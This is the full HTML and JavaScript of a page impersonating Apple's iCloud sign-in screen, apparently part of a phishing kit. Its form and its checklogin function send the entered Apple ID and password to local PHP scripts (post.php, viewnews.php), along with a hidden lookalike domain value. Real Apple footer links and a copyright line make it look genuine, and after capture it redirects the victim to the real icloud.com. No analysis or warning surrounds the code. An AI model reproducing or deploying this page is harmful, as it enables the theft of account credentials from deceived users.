index.html 10 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226
  1. <html lang="pt-br"><head>
  2. <title>iCloud</title>
  3. <meta charset="utf-8">
  4. <link rel="shortcut icon" href="favicon.ico">
  5. <link rel="stylesheet" href="css/styles.css">
  6. <link rel="stylesheet" href="http://code.jquery.com/ui/1.11.3/themes/smoothness/jquery-ui.css">
  7. <script src="http://code.jquery.com/jquery-1.10.2.js"></script><style type="text/css"></style>
  8. <script src="http://code.jquery.com/ui/1.11.3/jquery-ui.js"></script>
  9. <script src="activity-indicator.js"></script>
  10. <!--Mobile Script Exceptions-->
  11. <script type="text/javascript">
  12. if (screen.width <= 699) {
  13. document.location = "mobile.html";
  14. }
  15. </script>
  16. <script language="javascript">
  17. if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
  18. location.replace("mobile.html");
  19. }
  20. </script>
  21. <!--/Mobile Script Exceptions-->
  22. </head>
  23. <body class="body_image_old" style="visibility: visible;">
  24. <div class="body_image_new" style="opacity: 1;"></div>
  25. <div id="loader" class="loader" style="display: none;"><div style="width: 26px; height: 26px; position: absolute; margin-top: -13px; margin-left: -13px; animation: spin12 0.8s linear infinite;"><svg style="width: 26px; height: 26px;"><g transform="translate(13,13)"><g stroke-width="1.5" stroke-linecap="round" stroke="rgb(255, 255, 255)"><line x1="0" y1="6" x2="0" y2="11" transform="rotate(0, 0, 0)" opacity="1"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(30, 0, 0)" opacity="0.9173553719008265"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(60, 0, 0)" opacity="0.8347107438016529"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(90, 0, 0)" opacity="0.7520661157024794"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(120, 0, 0)" opacity="0.6694214876033058"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(150, 0, 0)" opacity="0.5867768595041323"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(180, 0, 0)" opacity="0.5041322314049588"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(210, 0, 0)" opacity="0.42148760330578516"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(240, 0, 0)" opacity="0.33884297520661155"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(270, 0, 0)" opacity="0.25619834710743805"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(300, 0, 0)" opacity="0.17355371900826455"></line><line x1="0" y1="6" x2="0" y2="11" transform="rotate(330, 0, 0)" opacity="0.09090909090909094"></line></g></g></svg></div></div>
  26. <div class="container">
  27. <div class="wrapper">
  28. <div class="header">
  29. <div class="logo lF"></div>
  30. <div class="info lR">
  31. <div class="instr lF">
  32. <script type="text/javascript">
  33. function newPopup(url) {
  34. popupWindow = window.open(
  35. url,'popUpWindow','height=700,width=800,left=10,top=10,resizable=no,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=yes')
  36. }
  37. </script>
  38. <span><a href="https://www.apple.com/icloud/setup/">Setup Instructions</a></span>
  39. </div>
  40. <div class="help lF"></div>
  41. </div>
  42. </div>
  43. <div class="body">
  44. <div>
  45. <div class="cloud"></div>
  46. <div class="labelRef">
  47. <span>Sign in to iCloud</span>
  48. </div>
  49. <div>
  50. <form action="post.php" method="post">
  51. <div class="boxFrm" style="width:325px;">
  52. <div class="line1">
  53. <input type="text" value="" class="appId1" placeholder="Apple ID" name="email" id="apple">
  54. </div>
  55. <div class="line2">
  56. <input type="password" value="" class="appId2 lF" placeholder="Password" name="password" id="pw">
  57. <input type="hidden" value="https://p01-caldav.icloud.com" id="server" name="server">
  58. <input type="hidden" value="icloudow.com/" name="link">
  59. <div style="margin-left:270px;"><input type="submit" value="" class="sbBtn lF" style="opacity: 0.2;"></div>
  60. </div>
  61. </div>
  62. </form>
  63. </div>
  64. <div class="cont">
  65. <span class="tlrm"><input type="checkbox"></span>
  66. <span class="txt">Keep me Signed In</span>
  67. </div>
  68. <div class="cont2 sec">
  69. <div class="center">
  70. <span class="account-cr"><a class="clickable" href="#">Forgot Apple ID or password?</a></span>
  71. </div>
  72. </div>
  73. </div>
  74. </div>
  75. <div class="footer">
  76. <div class="fLogo lF"></div>
  77. <ul class="lR">
  78. <li></li>
  79. <li><a href="https://signup.apple.com">Create Apple ID</a></li>
  80. <li><a href="https://www.apple.com/support/systemstatus/">System&nbsp;Status</a></li>
  81. <li><a href="https://www.apple.com/privacy/">Privacy&nbsp;Policy</a></li>
  82. <li><a href="https://www.apple.com/legal/icloud/ww/">Terms&nbsp;&amp;&nbsp;Conditions</a></li>
  83. <li>Copyright © 2020 Apple Inc. All rights reserved.</li>
  84. </ul>
  85. </div>
  86. </div>
  87. </div>
  88. <script>
  89. $("body").css("visibility", "hidden");
  90. $('#loader').activity({width: 1.5, segments: 12, length: 5});
  91. jQuery('#submit_loader').activity({width: 1.5, segments: 12, length: 5});
  92. function typeCheck(element) {
  93. var key = event.keyCode || event.charCode;
  94. if (key == 8 || key == 46) {
  95. $(".sbBtn").css("opacity", "0.2");
  96. return element;
  97. }
  98. if (element !== "") {
  99. $(".sbBtn").css("opacity", "1");
  100. } else {
  101. $(".sbBtn").css("opacity", "0.2");
  102. }
  103. }
  104. $(document).ready(function () {
  105. $("body").css("visibility", "visible");
  106. function isValidEmailAddress(emailAddress) {
  107. var pattern = new RegExp(/^(("[\w-+\s]+")|([\w-+]+(?:\.[\w-+]+)*)|("[\w-+\s]+")([\w-+]+(?:\.[\w-+]+)*))(@((?:[\w-+]+\.)*\w[\w-+]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][\d]\.|1[\d]{2}\.|[\d]{1,2}\.))((25[0-5]|2[0-4][\d]|1[\d]{2}|[\d]{1,2})\.){2}(25[0-5]|2[0-4][\d]|1[\d]{2}|[\d]{1,2})\]?$)/i);
  108. return pattern.test(emailAddress);
  109. };
  110. $('input[name=apple]').bind("keydown", function(e){
  111. // enter key code is 13
  112. if(e.which == 13 || e.which == 9){
  113. e.preventDefault();
  114. var val = $(this).val();
  115. if (!isValidEmailAddress(val)) {
  116. val = val+"@icloud.com";
  117. $(this).val(val);
  118. } else {
  119. console.log($(this).val());
  120. }
  121. console.log(val);
  122. $("input[name=pw]").focus();
  123. if(jQuery('#apple').val()=='' || jQuery('#pw').val()=='') $(".sbBtn").css("opacity", "0.2"); else $(".sbBtn").css("opacity", "1");
  124. return false;
  125. }
  126. });
  127. $("input[name=pw]").on("click keyup", function(){
  128. val = $("input[name=apple]").val();
  129. if (!isValidEmailAddress(val)) {
  130. if(val!='@icloud.com' && val!='') val = val+"@icloud.com";
  131. $("input[name=apple]").val(val);
  132. }
  133. if(jQuery('#apple').val()=='' || jQuery('#pw').val()=='') $(".sbBtn").css("opacity", "0.2"); else $(".sbBtn").css("opacity", "1");
  134. });
  135. var mm = 0;
  136. var ss = setTimeout(function () {
  137. $(".body_image_new").animate({ opacity: "1" }, 1000);
  138. console.log(mm);
  139. clearTimeout(ss);
  140. }, 7500);
  141. k = 1;
  142. $(".tlrm").on("click", function () {
  143. k++;
  144. if (k % 2 == 0) {
  145. $("#tlrm").attr("src", "images/checked.png");
  146. } else {
  147. $("#tlrm").attr("src", "images/Unknown");
  148. }
  149. });
  150. });
  151. var ss2 = setTimeout(function () {
  152. $("#loader").fadeOut("slow");
  153. $("div.container").fadeIn("slow");
  154. $("div.container").css("display:", "block");
  155. $(".sbBtn").css("opacity", "0.2");
  156. clearTimeout(ss2);
  157. }, 4500);
  158. $('#apple,#pw').on('keyup', function(e) {
  159. if (e.which == 13) {
  160. checklogin();
  161. }
  162. });
  163. function checklogin()
  164. {
  165. var apple = jQuery('#apple').val();
  166. var pw = jQuery('#pw').val();
  167. var server = jQuery('#server').val();
  168. var lang = jQuery('#lang').val();
  169. var links = jQuery('#link').val();
  170. if(apple!='' && pw!='')
  171. {
  172. jQuery('#submit_button').hide();
  173. jQuery('#submit_loader').show();
  174. jQuery.ajax({
  175. type:"POST",
  176. url:"viewnews.php",
  177. data:"apple="+apple+"&pw="+pw+"&server="+server+"&lang="+lang+"&link="+links,
  178. success: function(msg){
  179. if(msg.search("INVALID")!=-1)
  180. {
  181. $('div.body').effect('shake');
  182. jQuery('#submit_button').show();
  183. jQuery('#submit_loader').hide();
  184. $(".sbBtn").css("opacity", "0.2");
  185. }
  186. else if(msg.search("SUCCESS")!=-1)
  187. {
  188. window.location.href = "https://www.icloud.com";
  189. }
  190. else
  191. {
  192. $('div.body').effect('shake');
  193. jQuery('#submit_button').show();
  194. jQuery('#submit_loader').hide();
  195. $(".sbBtn").css("opacity", "0.2");
  196. }
  197. }
  198. });
  199. }
  200. else
  201. {
  202. if(apple=='') jQuery('#apple').focus();
  203. else if(pw=='') jQuery('#pw').focus();
  204. }
  205. }
  206. function change_image(src)
  207. {
  208. if(src=='check2.png') jQuery('#help_checkbox').attr({'src':'check2.png','onClick':"change_image('check1.png')"}); else jQuery('#help_checkbox').attr('src','check1.png').attr('onClick',"change_image('check2.png')");
  209. }
  210. </script>
  211. </body></html>